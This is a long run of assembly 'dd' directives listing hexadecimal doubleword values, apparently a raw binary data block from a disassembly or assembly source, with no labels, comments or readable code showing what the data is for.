dd 0E78BBC01h, 5D208556h, 0D4A22F13h, 0BDEA0504h, 0E8448260h
dd 6453F49Ah, 44F0A427h, 14A02084h, 3CFF05Dh, 43C1EFCEh
dd 3CC34E05h, 0CCF0C040h, 0B48B7AE5h, 77E0B0FEh, 0ADAF0081h
dd 0EE82FD96h, 3603ECBBh, 5597281Ch, 9F19E1AEh, 88910C43h
dd 9DBE2C8Fh, 0D7040450h, 0BA5B10E8h, 50B897EAh, 92E707C2h
dd 0F559A06h, 970131Eh, 0E289134h, 5A28017Dh, 0E700B15Bh
dd 0FB04D31Fh, 0C9838942h, 53F480BFh, 0A9299D4Ch, 90C2201Eh
dd 1A8930A8h, 0AD002D7Ch, 0F7F1DAD6h, 634BC80Dh, 0A519F1C0h
dd 0C234FD90h, 3D62980Ch, 9A6608D2h, 0D3FB00FCh, 91325619h
dd 88C5C7D4h, 6C0E55Fh, 257BE04Ah, 74DCF80Bh, 31C93882h
dd 948C887Dh, 6BDD1E00h, 184361ECh, 0A8288789h, 0B2505211h
dd 0AE209298h, 0E30501D6h, 4E5AE7A1h, 4AC4482Eh, 0FB0C3E00h
dd 2B3BBC21h, 930129F0h, 0A219821Ch, 0E090A1E7h, 13008C99h
dd 0DCDAD09Ah, 6CCA809h, 0E0915B03h, 0F8008035h, 38FF62BAh
dd 6085D64h, 0D71C558Dh, 0FBF8D0DAh, 0D565F218h, 60951511h
dd 31407136h, 0E0D07821h, 86E9ACF8h, 301CA097h, 0A0B8AD69h
dd 1468EEA4h, 1C59A5E8h, 8513DFC8h, 15FD20A4h, 0ECAD965Ah
dd 13C3B683h, 0E5582105h, 8D03DBDAh, 311E137h, 12F8EE18h
dd 58181ABEh, 0D11943D2h, 0DDB3007Ah, 41B4EF1h, 170F02E9h
dd 32A40D55h, 90A10C33h, 8CA234F1h, 0FF21C162h, 5ABD809Fh
dd 14BAF6Fh, 14D2EC77h, 8009708Ah, 5F53F999h, 188D94h
dd 5A517B24h, 0B49891FDh, 0AC120402h, 845BB10Eh, 0AA63A540h
dd 0FA329A90h, 0C2229943h, 199CF800h, 0C7F0A9D0h, 30404986h
dd 2F465BE8h, 0ED38BCA2h, 8487025Bh, 7C710216h, 0F748D8E8h
dd 0D10A8600h, 0AB1FC769h, 4931040Bh, 904B4DA7h, 8F025EB0h
dd 53EFD500h, 831626F3h, 0D0C70123h, 0FCF905BBh, 584DE434h
dd 0E5744E02h, 40D751D9h, 4E2C974Ch, 964B8D6h, 2475B05h
dd 20184240h, 9E5777C1h, 7747A9Dh, 8A27460Eh, 0A71792A2h
dd 1C756891h, 72A400F9h, 253D0594h, 81C01C23h, 0FA435D10h
dd 2889F017h, 57B83833h, 3D883C92h, 837F1E62h, 0B6949590h
dd 0C4DA5084h, 881947F2h, 0C520A117h, 0F8E4709Fh, 0D130F615h
dd 0C82EE90Fh, 91020118h, 8E164241h, 14089839h, 3B9FCD21h
dd 0CA003A17h, 241B3D3Bh
dd 9B3C65B6h, 4E5B0006h, 0E39EB199h, 7C642739h, 0A2471076h
dd 0DCD4BA07h, 3704D0BEh, 0CE035302h, 1531F7AEh, 300926E6h
dd 8B978094h, 6336D552h, 0FEBEAE1Dh, 0B65D6800h, 0E6880104h
dd 0D94B185Bh, 0EB3A312Ch, 9228B107h, 0B0908E29h, 9C50C24h
dd 0EDFB8C72h, 5B58907Fh, 0CA132689h, 59980130h, 2F39E6FEh
dd 0FA0064F6h, 811EDDD1h, 0E1618259h, 40913520h, 3CD8D194h
dd 9613A500h, 91A028F6h, 1D221607h, 51F14946h, 0F32FBF31h
dd 0A339A0h, 371A276h, 443574Fh, 90CA62ABh, 54CCBFDDh
dd 0ECD29D75h, 3D1E6100h, 35520B86h, 21E4125Eh, 6430FFC5h
dd 0C4BD9EE0h, 80263B39h, 47104848h, 27EA48B0h, 8144B0D0h
dd 0D9940F03h, 7100E462h, 0CF569DF6h, 66125E8Ah, 40FF7589h
dd 8099B284h, 0EB03F7A9h, 239112F5h, 0ACC8A4F6h, 82F213D5h
dd 0EB9E002Eh, 0B1ED66C0h, 45B78D01h, 0DB73899Dh, 4956C50h
dd 58C5486Ah, 40BC4E12h, 49AC1FB0h, 5F778213h, 80964A1Eh
dd 0E060846Ah, 0AF56DD69h, 578200FBh, 5521755h, 0C3007B83h
dd 0CA9D9F62h, 12470CDCh, 5E41B87h, 804D4E7Ch, 193EAE3Ch
dd 4C508067h, 0F490DED5h, 0A090B48Bh, 595AF964h, 520078BEh
dd 82711170h, 0F44915F0h, 18CE8190h, 30FE9104h, 38011E8h
dd 1E1700A6h, 4F602601h, 0A70579C9h, 2D2381E4h, 210C40Bh
dd 453A0838h, 0E46C0038h, 8C66581Eh, 0FC01C0ACh, 53F7A482h
dd 908131Bh, 1EF43888h, 47309E82h, 0A0C8585Ah, 1F1545A1h
dd 6A84BC50h, 66F0C260h, 0A5780541h, 0D5250684h, 0F300C1DDh
dd 7BDB8A55h, 18EA7Ch, 0ACAB6793h, 99FBA412h, 325DF500h
dd 572824BCh, 0AC6A4ED2h, 61B5C280h, 0C420E9E8h, 0D8C9E459h
dd 0FCC4E42Fh, 6FE8F800h, 0A6B6AF27h, 6D84004Fh, 86E7D9D3h
dd 0B43A4871h, 0CDB1C45h, 2A03749h, 3FF864h, 957A3B2Eh
dd 0E6E0D305h, 6862B125h, 4BF04024h, 59ACA087h, 0B460978h
dd 409701FCh, 829D3591h, 0C290C705h, 0D804D04Ch, 9504A1FEh
dd 21E6C498h, 0AE02A66Dh, 489A3596h, 41DA947Ch, 419EECB4h
dd 125C8657h, 344016D5h, 741C7391h, 0F05074Eh, 0DECAF559h
dd 0EB00FFB3h, 0F7505A04h, 892C91E6h, 445AE37Eh, 0DF2C3048h
dd 2015E509h, 47821460h, 12ACBAD8h, 318BB467h, 313EBA80h
dd 347424EEh, 5F408960h, 0A84D25DFh, 595454h, 51E83980h
dd 70B41CB2h, 18F19490h, 7A1879CAh, 223F4390h, 0A9CF01E3h
dd 0FF0B7317h, 5B85063h, 464C7DA5h, 9E391018h, 6A2C3709h
dd 0C928E42Ah, 0BF46EC83h, 0F1FC9050h, 40E71529h, 718C903h
dd 40784791h, 17A4CE00h, 65643063h, 1E02351h, 69DEDD8h
dd 2F246D0h, 90FE18CCh, 0E7289161h, 17A3D110h, 0A590C601h
dd 0FA0BB749h, 2C093422h, 18D71FA7h, 88FFA4h, 391E8450h
dd 406BCE6Ch, 357C9AB0h, 829CBF01h, 0A51990ECh, 0B4C675FAh
dd 910CD530h, 1572A0BDh, 8CC55CBFh, 0CE051580h, 8A8BD548h
dd 93C5A94h, 9612EAEh, 19D20C90h, 934EF8CBh, 7292D8B4h
dd 0B2E63B3Dh, 3E44CF00h, 4A30FBD9h, 320BB673h, 30619CFEh
dd 0E6D2ECh, 0FF56937Ah, 0CDF1F5F3h, 0F78A3304h, 0A8D24A5Ah
dd 0A15446E7h, 60679828h, 807D2E08h, 0A2F58860h, 759618ADh
dd 8164B112h, 56272496h, 82D165F4h, 0FD308D58h, 0F7A50482h
dd 2713178Bh, 0C0D19DD8h, 0E8F96A82h, 4A018CF3h, 97FCD0C1h
dd 0A9C61A59h, 8B0448B4h, 187E00F6h, 576F102Ch, 482458F0h
dd 46741031h, 0E6C10AE2h, 3B028057h, 75B17205h, 369DC8E9h
dd 53087E4Ch, 0CEEFAEC9h, 8D2600D1h, 59F5852h, 4EC1036Ch
dd 0AA2C952Fh, 946C57h, 6FB0A9Ch, 9E8263Fh, 2FC9A59h, 310E44A0h
dd 0ED8097C5h, 288090C8h, 58B80825h, 7A8B3075h, 3F00041Eh
dd 6C3C6461h, 9D0B8F01h, 568390D1h, 1922C32h, 7935FF69h
dd 48860FBFh, 5B00F47Ch, 0ACFC209Ah, 9C34CF81h, 0A1E205D0h
dd 61B8D006h, 0ED8141F8h, 0C832F425h, 0A033EBF2h, 53C4A76h
dd 2741E8AAh, 0FB704765h, 39C240C1h, 0CD00EEC6h, 29C4493Fh
dd 0E78982h, 3752E291h, 5F103AC1h, 0B8C81B2Eh, 267F8108h
dd 3000A5B0h, 2F1D4E6h, 0D3BFEB1Eh, 0B9D88060h, 8D5F014Dh
dd 0C888E065h, 4602399h, 6ABA0FCFh, 3526CE0h, 7F543766h
dd 0A7E0C946h, 5C005003h, 0D479240h, 7FD48B4h, 0C8833933h
dd 8CB3A0CAh, 0BE009853h, 0BBB0AD64h, 0D25554h, 3B3D1713h
dd 33496DFFh, 21A909CCh, 170E0072h, 77251F2Fh, 2A04F0D1h
dd 0BEA2AEE0h, 504B6507h, 4C1F0F93h, 8B915A00h, 0D615CD07h
dd 4E040050h, 4833E16Ch, 0CE0C4DBCh, 0A022FA36h, 0D5E70345h
dd 7F9E84Eh, 0C949BBC0h, 58BD6A36h, 25F46A8h, 3B12171Ah
dd 89A431E7h, 7117789h, 0C790609Bh, 767ECAh, 1492538Bh
dd 0B4058CFh, 4D4CB500h, 4EC86179h, 88206076h, 0B22754E5h
dd 502A0B1Dh, 6A757030h, 0CE593A7Fh, 0D6B3A2BDh, 21005109h
dd 0A67F6215h, 8CA0B8h, 6AED9198h, 9E3F6894h, 0D1BC59C3h
dd 35313F4Eh, 2BDD3D03h, 36833027h, 0E9AEE032h, 17153066h
dd 0F3B3708h, 43A7646Eh, 0F0171070h, 7B9FAD6Ch, 9CFCA196h
dd 3863EECCh, 1BF3AE3h, 0F9747A81h, 0CE1AFAh, 63314A3Bh
dd 862B1867h, 4E6B9900h, 0B00FBEEBh, 8DD301D7h, 50AB5609h
dd 7560FABAh, 5930423Ah, 0FACD3868h, 50C9606Ah, 6E794A39h
dd 145CAE80h, 6462BE99h, 3B171983h, 0D8B1EF8Ah, 47410A5h
dd 718E0017h, 3ECE1859h, 5C92730Eh, 0AAA2B912h, 6F1A6821h
dd 4451E500h, 40C0C1EEh, 90599BB2h, 0B6451C6Ch, 8E3E8C69h
dd 21C1C408h, 0C79061B4h, 0A0175D0h, 1F053A39h, 0CBEA428Ch
dd 61468844h, 3C170C02h, 0AA31F73Bh, 17037510h, 62C12100h
dd 3D93CBFEh, 0B279070Bh, 764C1248h, 0BC1581C5h, 50B449CAh
dd 0F704A480h, 24564ED0h, 0C37F1D1Fh, 62413A31h, 0D9549800h
dd 0C8670BAAh, 4D3348F1h, 0CACB4060h, 0B0C0A64Ah, 0E9AE5A3Fh
dd 0C0C8C477h, 0F229C068h, 20C0CAC6h, 4522EFB2h, 20365361h
dd 60F66784h, 4006D2CDh, 5A15BBD0h, 5F87D6Dh, 15523895h
dd 0CA129C41h, 7502BD0Ah, 5845EAE1h, 903D5CC8h, 118E2369h
dd 0FB20D1h, 9EA1C7ACh, 51C4D7CAh, 27D9A00h, 4237208Dh
dd 7B137752h, 34E649FBh, 7DC9C50h, 0D14AC24Dh, 0C02B997h
dd 0C8A0BDADh, 6169582Fh, 1FEC4F00h, 0B1A25384h, 160E166Eh
dd 2F5A12FBh, 0BEA41078h, 2D75D0C1h, 0E20C3162h, 117F6B30h
dd 887DCE5Ch, 63168077h, 9F4F887Fh, 9D20140Ch, 7CBB8E2h
dd 9450060Dh, 1452E5B1h, 46236888h, 6A905B01h, 0D5188645h
dd 64FE88h, 2A6C1B90h, 0C616DB63h, 0F646CE09h, 26280F26h
dd 1894A2Ch, 6B2FC3BEh, 0CD523B69h, 0B3E04156h, 514AC83Dh
dd 0C71081EDh, 8B773B9Ah, 0C975E824h, 90826229h, 7096A96h
dd 0A04AADE0h, 0FB23E880h, 0F6264C1Dh, 32EC00D6h, 16D74607h
dd 28A3CAC9h, 62457810h, 0B5DDD500h, 0DBCA49C1h, 0C61A49C6h
dd 890C07D9h, 0A02B177Ah, 0FD227BA5h, 29BAAE30h, 4537D7h
dd 0B6CDE32Eh, 130CF0B3h, 7ACFCA1Bh, 5C29CE68h, 8630CFB1h
dd 0C222F271h, 0BC158892h, 448C42CFh, 4B7CF22Ch, 91113C00h
dd 40DD7F85h, 0F6F28B9h, 0BD5508D4h, 0BB136442h, 6667D403h
dd 85115056h, 0CD1A0BF1h, 0E106D641h, 17600809h, 0F13A8F21h
dd 8D96B9h, 71F8EB90h, 4C189EABh, 0E1F9BF33h, 0C2877DBCh
dd 3D8BE78h
dd 20203F22h, 0BC86F2CBh, 42F5C8C1h, 14356B29h, 0AED32180h
dd 1E48ECADh, 0DF4A941Eh, 2E1B718h, 0C32200C8h, 3DDC1DD3h
dd 0FF037CACh, 0D0BCB590h, 4C290047h, 0FA6C7945h, 34A0A602h
dd 818C2531h, 3C186580h, 0CD0CF108h, 401FC431h, 34F14491h
dd 43F0B052h, 0D8CA29F3h, 0E1094826h, 0B02C9668h, 2849C029h
dd 5F81C22Fh, 0B53D141Fh, 0FBA31FC0h, 38C744h, 235979E8h
dd 5B2B7E07h, 0EC402203h, 0D0258895h, 0CC35815Fh, 0C4211A08h
dd 0B7EC4B26h, 6C6BBC00h, 6A0B29h, 307BCA67h, 637355C9h
dd 0F7035D1Fh, 7E025B80h, 0C01C3AAAh, 0FA8CB852h, 30C173F5h
dd 58ED2EA4h, 0C0C99707h, 4501E9BFh, 7F05A318h, 30030970h
dd 0BE30409Ah, 81408DD6h, 5CB0018Fh, 0C34F01A1h, 2B688058h
dd 52BCD97Bh, 55CE06C2h, 8C6DA27h, 2001AE30h, 0CBCD09Ah
dd 716A5804h, 5C000260h, 32384BE9h, 62177BE4h, 0A0D310FEh
dd 0EB68B341h, 23B32900h, 1A9AC0A1h, 0A88E00BDh, 0F7C3F24Ah
dd 8D0C42D3h, 0A853BEFAh, 0C18901F5h, 68EB2C5Eh, 0DE41806Dh
dd 0DDBB173Ah, 3D0100D4h, 529E6675h, 6101A6F2h, 0C129377Ah
dd 0F1C44972h, 0BE3A006Dh, 65937DDEh, 4800D25Dh, 407FF420h
dd 50E12930h, 1C878451h, 0C0C23FB5h, 7B831D8Eh, 0A3182B14h
dd 0E8787981h, 8456F7Ch, 80C8430Ah, 0A285C6ABh, 7B3181C1h
dd 8469504Eh, 3EFA8900h, 86C8333Eh, 7079DEE9h, 163B0218h
dd 0B8B095A8h, 4D8DF4B1h, 0B06AF1E8h, 0A60D2068h, 33ECA865h
dd 0FA951AC3h, 0BB41A02Bh, 2088844Ch, 2C9029D8h, 14E2EA89h
dd 207BC9AAh, 0DA668F8Fh, 0A40918ABh, 215E41C6h, 0AC4E0A18h
dd 53C2188Ah, 859CBAF0h, 0A1687016h, 0ACAA46F6h, 604E1484h
dd 2353BCDAh, 5018C6C2h, 90D19B21h, 0C41800F1h, 0B65254F9h
dd 0C00C5991h, 60231695h, 0FD9CA041h, 0C88F8088h, 0A89B4A0h
dd 98AF1A36h, 0FEE40410h, 0C6980FD8h, 484688CEh, 51BCDC02h
dd 241CF6C2h, 358CB9Dh, 5FFFA652h, 89623BB1h, 20766958h
dd 92BF092Ch, 52C805D9h, 303267DAh, 4DE1DB10h, 547F0700h
dd 0A239B2A3h, 0BC6549F6h, 3084D841h, 2C91CBh, 46940B7Eh
dd 0B7A22640h, 9FAA0C62h, 21C01908h, 0FC46EC68h, 0E8914859h
dd 8F181A24h, 8FE06AAAh, 0A0D27CAFh, 1F22960Ah, 4B91C036h
dd 6EBCDD80h, 448CEEC2h, 0D4009E56h, 0B6C0A8BCh, 71811BDFh
dd 693A38ABh, 0ADD98CB0h, 6B000985h, 72CCE7B8h, 7D9883h
dd 147CC011h, 7BC5E1A9h, 30A18701h, 2A648547h, 0F6F73883h
dd 985117A2h, 3FCE584h, 1256E17Fh, 0CBB18A4h, 0F5B8C9EFh
dd 0A5A8E14h, 44B05064h, 810C8F4Ch, 31CA96F5h, 8DC02087h
dd 0C413C92Eh, 0A66F3006h, 122023B2h, 475A45DBh, 0F5FFE70Ch
dd 20A0318Dh, 5B8050DAh, 0C224F9D2h, 123A7422h, 284ACA50h
dd 95C0D4D4h, 43A24346h, 0ED69808Fh, 265F846h, 45E6DBA8h
dd 88918682h, 0A8C1B0ECh, 0C07C69EDh, 18515E11h, 0B706F6DCh
dd 67FF067Fh, 21846008h, 47185938h, 0A4ADE605h, 0DF0187FEh
dd 803D86B5h, 28ECF994h, 0D3185080h, 448C4FF6h, 58003982h
dd 7732CE18h, 1F4D9A6h, 0F6856D08h, 481EE6BEh, 0AE40B8D4h
dd 428E7CF7h, 0A41B1D30h, 0D04464E4h, 47466067h, 448CEFA2h
dd 0E9006D18h, 89B9A846h, 1B95F53Dh, 0A4480F61h, 9C1AD9B1h
dd 560B6A0Ch, 9DA1D7E8h, 0C9C35E20h, 33BE2B89h, 2100189Ch
dd 54C35646h, 1DD65DCh, 0F8BF0FCAh, 0D10D8589h, 5253914Ah
dd 22C35A87h, 1A315489h, 0C3524210h, 0B8A45F00h, 0BD7484DFh
dd 48C46EB5h, 858DFA81h, 0E95D8C05h, 0D5370Eh, 402EA8A3h
dd 77B9BE48h, 0A558E703h, 19508BEAh, 0E330DD90h, 8CD1E904h
dd 14182D48h, 1C0CC801h, 12E95006h, 8A8B0057h, 47405356h
dd 9B0064C9h, 5D1A2F4Ah, 6CB2D88h, 840FC403h, 890A3106h
dd 0A529918Dh, 0B4C78140h, 19173440h, 23AF3A10h, 6BA50019h
dd 0F51053A6h, 0F016A01h, 0B5FFD7B7h, 0A0F9B248h, 8405EDE2h
dd 58265046h, 44890A47h, 40174433h, 0E2C35040h, 820F3336h
dd 1B020504h, 0EDEA8166h, 1EB58609h, 0ADBA0715h, 0C6BD8BC7h
dd 0C0EC721Fh, 6595010Ch, 60E8102Fh, 5209430Ch, 5F007BD2h
dd 0A2830213h, 0D3B8D55h, 1625B589h, 0BDE0FB2Eh, 0EDC1299h
dd 1209750Ch, 740D4435h, 53501918h, 54D2B868h, 4485B707h
dd 9D148DB9h, 587A464h, 585BD3FFh, 8172262h, 0A1F27B20h
dd 30EA1233h, 78A6FA0h, 6A830A3Fh, 4491B63Dh, 0C35D8555h
dd 916C41C2h, 45101522h, 0C00C355h, 0DBE68053h, 92E585C7h
dd 25016561h, 0CAD001F8h, 6068CB99h, 0CE48E40Dh, 27C5180Ch
dd 76BA85D7h, 9CD08138h, 52079F2h, 5DBD468h, 211978C0h
dd 0B60E1650h, 5092EC50h, 0ED536C6h, 1D95182Bh, 0C00B0C09h
dd 8B317473h, 0FC6932D8h, 9A4D308h, 38836603h, 110A7509h
dd 9808BDE0h, 8123F556h, 1706DF25h, 7305F883h, 9DD2335h
dd 20BBF517h, 945C1FE3h, 91299900h, 97B60D49h, 7E9308Eh
dd 0A1C3F021h, 0F255D904h, 69815F08h, 80030D99h, 0AF4B78B2h
dd 0F3850F81h, 0CB8B3703h, 91C87E9h, 45BD2B0Eh, 3B387B2Ah
dd 34CD08A2h, 0FF029913h, 305F3157h, 7C568972h, 1C22FFh
dd 0FDC35747h, 0AC862EF6h, 9E05D20Ah, 421A9FA0h, 11299D97h
dd 0FCFF801Ah, 135BF03Ah, 23E9CCA9h, 0BFE0F25Dh, 200126B4h
dd 8B5011B2h, 2932E995h, 81700134h, 602F970h, 23BD2220h
dd 0A20ABFE0h, 0DC2DCB86h, 2730A224h, 821AD58Dh, 0BE6C2686h
dd 1BD95291h, 3701C118h, 0AB63ED96h, 8530623Dh, 0F18101D0h
dd 1EF86739h, 174C206Ah, 676D06DAh, 601C646Ah, 25D582Fh
dd 7D4FAF4Eh, 94C91657h, 8C530810h, 14C35B39h, 0A02A5C89h
dd 0C35343h, 30E4EFAh, 7C217E99h, 52018526h, 0EF401310h
dd 43EC427Dh, 428DF030h, 91850014h, 0F8E9E4EDh, 0F120BD29h
dd 0EBF95427h, 0DB1648C9h, 2319ED85h, 4ABA07CEh, 5C4002EFh
dd 2EE3A7E7h, 0C03571Bh, 8AD25AF9h, 7104B186h, 18A21815h
dd 1514E817h, 0AF00F110h, 8B22A6C8h, 13441h, 7C53B266h
dd 0F2F978DFh, 60322418h, 802361E8h, 59EC5857h, 45203AB0h
dd 0F50120Ch, 0C07F248Ah, 905DB7D4h, 421D1F48h, 1DB04885h
dd 71A62CCFh, 10E9C3h, 0ACA56239h, 0CDD457FBh, 0EB115D00h
dd 0CCA4F320h, 0AB3A505Fh, 85074931h, 0F82A5E59h, 4C667988h
dd 59223AD0h, 0A2BD5053h, 75E33017h, 0B91A7001h, 5948C762h
dd 5D096249h, 85516091h, 8D0AC359h, 1D44304Ch, 0C3514140h
dd 8D0F9FA6h, 274C8EDh, 60E7D5C5h, 83115505h, 6F1BE630h
dd 0C8DAF580h, 0E997D7E8h, 0BA6C0620h, 0D33B00BEh, 2460D564h
dd 0AB5019A8h, 5026CB85h, 22102F31h, 0CF8E0F14h, 0BF4DDFC0h
dd 0C48C31DBh, 21335984h, 47620229h, 5D26BB9Eh, 3D136640h
dd 17798CA0h, 0E98919DDh, 0CAC21128h, 88970B0Dh, 53EC017h
dd 8A3230B2h, 482572D4h, 0A4F950EFh, 0F15E905Fh, 96205649h
dd 0B89C199h, 42203DBDh, 182A175Ch, 5601210Ah, 0BA00E511h
dd 0DCA6B4Fh, 3D359589h, 62817527h, 3D48C8B6h, 81B1E8h
dd 0D361E4E5h, 20EBFA6Ah, 7170DF77h, 34C5952h, 0E43986B9h
dd 9A8A7145h, 305661EDh, 248278E2h, 998699F5h, 18147177h
dd 0C9DCC663h, 0F37BB29h, 3C092182h, 44358568h, 0D97A6016h
dd 0BCCCD38h, 0D7414355h, 5A8C422h, 9D8950FCh, 41DF5049h
dd 235E3A93h, 72020118h
dd 9548F4D0h, 65D105E8h, 0A3CB310Ch, 90E95112h, 7FF60CC3h
dd 5918A917h, 836B34EEh, 0C87BFFB3h, 0F2D28088h, 1043868h
dd 23383A4Bh, 9BCA001Dh, 892B95A0h, 2886083Dh, 9F538E07h
dd 301CF280h, 3702422Eh, 466EAEE1h, 906C145h, 0D4087710h
dd 0AD56BC02h, 0E6B583CBh, 49A51F4Dh, 900402D9h, 0E9405059h
dd 99B12C39h, 20EEA308h, 0E9FE2E87h, 42D441FFh, 0F81BE5D5h
dd 25144001h, 4CEBB710h, 3B1620E3h, 2F298D29h, 32A508BFh
dd 0C085F505h, 130AE1C3h, 6357524Fh, 0A28C5AD6h, 0CD1A8A12h
dd 74E9D261h, 52D60E35h, 4751Fh, 0D3AE2CC3h, 0EF497369h
dd 6A4241FEh, 2B8F5BD4h, 0A4282DA4h, 0FD502232h, 2343843Ah
dd 5489D628h, 0C857D43Ch, 0B2810220h, 2AE95F81h, 9D31958Fh
dd 0FB01C533h, 40914889h, 58504C27h, 0FFD32919h, 114D174Bh
dd 65B801Bh, 0E6016941h, 76084CD2h, 542EC516h, 18E8E47Ch
dd 9ED5018Ch, 0F8D94B0h, 3A97228Fh, 0A452B9B9h, 1560065Fh
dd 0F414ACF0h, 0C21A05F2h, 28DCB239h, 4C4584B9h, 0F6F8F498h
dd 8ABBEEC5h, 0A1F8B7D9h, 0E9EB1AF4h, 0E4FD1B50h, 0EAC6006Dh
dd 5984722Eh, 0F401CBE0h, 0FFA1B185h, 49ECE23Bh, 0BAFC01BFh
dd 0B6592FABh, 0AE929024h, 0D0AC9AD1h, 32595600h, 41BD030Eh
dd 81FEC014h, 0CA6D5DE1h, 83504C3Bh, 9CB617DAh, 0FD722202h
dd 50286662h, 1E2CC8DDh, 209B90C6h, 0C7B82861h, 10C48312h
dd 0BCB3C8h, 4682C654h, 0C08BEFE1h, 0AB22FDh, 0D1BBF57Dh
dd 13FA9C6Ch, 0CF839E26h, 0FED38806h, 5CD20BFFh, 0B880D42Fh
dd 0CEDA449Dh, 0A39D88E8h, 0C0B7E1Dh, 2F639106h, 0C9D56652h
dd 3313AE59h, 0F6440195h, 0B488BD81h, 6572126Fh, 0CE410861h
dd 2AF9BD47h, 50C6BF4Eh, 0EEDC210Eh, 0C791FD90h, 0C04C490h
dd 90F985C6h, 4F6844F3h, 96A31813h, 0FA2DDF8Dh, 64D88BC5h
dd 2702922Ch, 4A2A4392h, 5974E7A5h, 94EB9E31h, 0AC5BAE65h
dd 0D1329910h, 213181Ah, 0F6CBEA65h, 20E3F8BCh, 148856CCh
dd 34313901h, 0A61EF107h, 0E1C4D028h, 0A804097Dh, 1DB58B60h
dd 0E51070E2h, 0C861281Eh, 7713A15Ah, 0C8F14C8Dh, 10944E3Ch
dd 0EF9E304Fh, 599EF9A1h, 7769743Fh, 0E486451Dh, 0BC3A601Ch
dd 0F5CD0EDCh, 0B40CC28Bh, 0E13996h, 0AAA58D03h, 668D71A3h
dd 30522089h, 0DF5B2AF9h, 50F78107h, 0E8759303h, 74369420h
dd 4F2000B7h, 0F14443E4h, 6391DBBh, 10DECC23h, 590D0129h
dd 4D3567E9h, 0BDEEE8FAh, 22F61909h, 44B4963Bh, 9D14291Fh
dd 224A0725h, 0BF661686h, 0D2500037h, 2B04EA88h, 0AD33E929h
dd 8630983Fh, 9EED6832h, 1500F428h, 0F3275EFBh, 0B82D1F9Dh
dd 2F61250Eh, 329BBB24h, 1376DAB9h, 0CE0E5195h, 611530F9h
dd 538F281h, 8A0BA879h, 22DC8BD4h, 61E9180Ah, 0D181D913h
dd 243C883Dh, 85AB245Ch, 20F978h, 3A095FF1h, 7849B97Bh
dd 433F1926h, 19D19521h, 84E37F19h, 41EBBA02h, 0D6676C38h
dd 217FD4E4h, 8D677AD4h, 92621D44h, 66439F79h, 0F13A8B9h
dd 0BB639C81h, 4D108727h, 0C61620CAh, 0F3CE0502h, 7AC01DC8h
dd 20A2184h, 0BFD9175h, 1F682E85h, 68343BDFh, 0AC0763Fh
dd 80336595h, 6EC2D0B1h, 70118529h, 2D33F114h, 673018B2h
dd 841B13E4h, 946E1320h, 81B40459h, 885E172Ah, 0C995A0E2h
dd 1F448412h, 857860B1h, 5F68EA80h, 0D010FC6Ch, 8BED35C2h
dd 0D215820Eh, 1BD989F9h, 4701BC18h, 0F48AF105h, 93076BAh
dd 52A86AF2h, 16467470h, 0BDB1C906h, 3590429h, 55D900D1h
dd 894B7E62h, 233CFDB5h, 0B5C5E4Dh, 18C1AF8h, 0B20230FEh
dd 91CA3677h, 0D30006ACh, 1FA6DF0Ah, 0CB9460BCh, 0F8176740h
dd 0B6310033h, 0B86618E3h, 6109A1AEh, 0CD016A5Fh, 0D84AC6B9h
dd 6C0D6126h, 6B1BCB4Eh, 98D88F8h, 6A00BC08h, 1C465C6Eh
dd 95FCD000h, 56FA2CAFh, 0E8D68316h, 89A9CB20h, 976F006Eh
dd 6C4E0841h, 610030F3h, 68366567h, 94DD99F0h, 521E3A3Bh
dd 1FF895Ah, 0C2298605h, 0C36731A6h, 0B14F8408h, 4810B5D4h
dd 0ED407CDCh, 23A3E7E9h, 43B378E1h, 8BD68502h, 0DAE8F9F5h
dd 4A5B0008h, 0ED99A0EFh, 0D3F0C25Ch, 33988407h, 90CCB4D1h
dd 5FABCC49h, 0D88A5292h, 163F9694h, 803D9B50h, 2B2D68C9h
dd 50FE258Bh, 63F5B310h, 3A79F300h, 0B8D2514Bh, 0B5FF24CDh
dd 622947DAh, 6EE417C5h, 80B40B7Ch, 164676h, 2BAFFF75h
dd 9B128995h, 2C2A1C1Eh, 14467C6Ah, 7E08822Dh, 2591A69Fh
dd 30C87C91h, 0F8892342h, 0E4C9149Ah, 0C1800A01h, 0A2DEA779h
dd 86D58A60h, 0B44D364Dh, 4309DCC0h, 71990A3Dh, 0F0A3001Ch
dd 0CCAA8D8Ah, 0E4CD6500h, 0C10FCBC9h, 229001E1h, 106AB645h
dd 247E6C50h, 5B59625Ah, 7F2B4014h, 25A11716h, 0C7296700h
dd 0A0187D96h, 0F69D1EE8h, 6488928Eh, 0C0F5DB73h, 0EA774680h
dd 581B4865h, 241C9D10h, 811E5257h, 0CC5F48E0h, 0E57BD902h
dd 7A5111E9h, 0F3B1F204h, 0DAE86E99h, 3B0A7FC3h, 0F182507Ch
dd 3D458A20h, 2F9B434Ch, 6124F520h, 444B4929h, 0FD8D167Fh
dd 4149680Dh, 23222842h, 0DD73037Ch, 0F91691B1h, 81E2E11Eh
dd 18A6CAC0h, 0D2C202E6h, 1D4C5D3Fh, 41549290h, 81880F46h
dd 22C408EAh, 5D477533h, 0D0F85309h, 0E20011C2h, 1B9D17B2h
dd 0B4E8F5FFh, 0A3908F1Ch, 0EA550101h, 0B50EF0DBh, 24872614h
dd 30291096h, 96905A2Fh, 0CCB0A213h, 0F9214500h, 246ABDD9h
dd 447D1EAAh, 0FFDF007Bh, 9533B1E9h, 41145D34h, 0E7027D24h
dd 4C08CAC1h, 288AB09Ch, 447A5544h, 0D59A5107h, 595197F0h
dd 446E2E81h, 4D77EF04h, 0F12F803Dh, 7A62AC62h, 71B75E4h
dd 3BF97760h, 0D960DA62h, 61812FFDh, 0A68068C4h, 6AF814EDh
dd 0C912E103h, 0A2012406h, 0AE5A0073h, 0C773BF51h, 775C0070h
dd 798CB7B0h, 9D10892Dh, 5A3403BDh, 8881CED0h, 1CD1C019h
dd 0EC049CFEh, 11BD098Bh, 3568F393h, 89A0C027h, 9BC0023Bh
dd 0A082C62Bh, 0DD0971C5h, 87E99525h, 83D01E7Ch, 20C6A8F8h
dd 0B13C05EAh, 95BF824h, 1FBA4F00h, 0B16DB1Dh, 765BD33h
dd 11049C12h, 7B3AC102h, 9D010004h, 0C163D24Dh, 295AF5F5h
dd 0E0E3BC2Fh, 2AF234CFh, 0BB8F1BEAh, 0D0697E40h, 6CE88A31h
dd 8000EFF2h, 1AD0B2C5h, 8C1DB83Bh, 5F842800h, 0D27F99A2h
dd 0B5B324E6h, 6DB260Ah, 2F0FE8C0h, 59F85D00h, 5FA29D7Ch
dd 0BBBD0330h, 0C3869FD9h, 0C910D79Ch, 0A4AFC398h, 0DDF24800h
dd 7AB50A61h, 303F3C76h, 0AEC82702h, 8C591157h, 0C81FD8F1h
